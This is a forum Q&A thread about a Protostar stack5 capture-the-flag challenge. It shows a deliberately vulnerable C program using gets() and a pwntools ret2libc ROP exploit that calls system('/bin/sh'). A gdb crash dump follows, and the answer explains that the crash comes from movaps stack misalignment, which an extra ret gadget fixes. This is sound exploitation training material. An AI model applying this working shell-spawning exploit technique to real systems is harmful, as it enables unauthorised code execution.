Reputation: 339
I have the following protostar challenge
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[BUFFSIZE];
char flagBuffer[64];
FILE *fp;
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xff000000) == 0xff000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
And am compiling it as 64-bit with
gcc stack5.c -DBUFFSIZE=64 -no-pie -fno-stack-protector -O0 -o stack5
I am using pwntools to craft my exploit. Here is my exploit.py file
from pwn import *
exe = './stack5'
context.clear(arch='amd64')
context.kernel = 'amd64'
system_addr = 0x7ffff7a33440
exit_addr = 0x7ffff7a27120
binsh_addr = 0x7ffff7b97e9a
binary = ELF(exe)
binary.symbols = {'system': system_addr, 'exit': exit_addr}
rop = ROP(binary)
rop.system(binsh_addr)
rop.exit()
print(rop.dump())
payload = cyclic(128)
p = process([exe])
p.sendline(payload)
p.wait()
# Get the core dump
core = Coredump('./core')
print cyclic_find(pack(core.fault_addr))
payload = flat({cyclic_find(pack(core.fault_addr)): rop.chain()})
p = binary.process()
p.recv()
p.sendline(payload)
p.interactive()
This causes a segfault. After saving the payload to a txt file and running with gdb, I find the segfault occurs within do_system
input path please: got path aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa#@
[New process 23199]
Thread 2.1 "stack5" received signal SIGSEGV, Segmentation fault.
[Switching to process 23199]
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
RBX: 0x0
RCX: 0x7ffff7b97e9f --> 0x2074697865006873 ('sh')
RDX: 0x0
RSI: 0x7ffff7dd16a0 --> 0x0
RDI: 0x2
RBP: 0x7fffffffe1d8 --> 0x0
RSP: 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov rcx,QWORD PTR [rsp+0x18])
RIP: 0x7ffff7a332f6 (<do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0)
R8 : 0x7ffff7dd1600 --> 0x0
R9 : 0x4f ('O')
R10: 0x8
R11: 0x246
R12: 0x7ffff7b97e9a --> 0x68732f6e69622f ('/bin/sh')
R13: 0x7fffffffe3f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a332e6 <do_system+1078>: movq xmm0,QWORD PTR [rsp+0x8]
0x7ffff7a332ec <do_system+1084>: mov QWORD PTR [rsp+0x8],rax
0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
0x7ffff7a332fb <do_system+1099>: call 0x7ffff7a23110 <__GI___sigaction>
0x7ffff7a33300 <do_system+1104>: lea rsi,[rip+0x39e2f9] # 0x7ffff7dd1600 <quit>
0x7ffff7a33307 <do_system+1111>: xor edx,edx
0x7ffff7a33309 <do_system+1113>: mov edi,0x3
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov rcx,QWORD PTR [rsp+0x18])
0008| 0x7fffffffe180 --> 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
0016| 0x7fffffffe188 --> 0x7fffffffe260 --> 0x10000
0024| 0x7fffffffe190 --> 0xffffe1a0
0032| 0x7fffffffe198 --> 0x7ffff7a33360 (<cancel_handler>: push rbx)
0040| 0x7fffffffe1a0 --> 0x7fffffffe194 --> 0xf7a3336000000000
0048| 0x7fffffffe1a8 --> 0x7fffffffe2a0 --> 0x0
0056| 0x7fffffffe1b0 --> 0x7ffff7dd18d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a332f6 in do_system (line=0x7ffff7b97e9a "/bin/sh") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.
What is confusing is when I add a call to system("/bin/sh");
into the c code, the call works and I pop a shell, but when I call system through a ret2libc attack, it segfaults.
Upvotes: 6
Views: 4561
Reputation: 339
After searching the instruction movaps segfault
I came across this site that explains the issue.
The MOVAPS issue
If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
Simply adding a call to a ret
gadget before the call to system
aligned bytes, and allowed me to pop a shell.
Upvotes: 9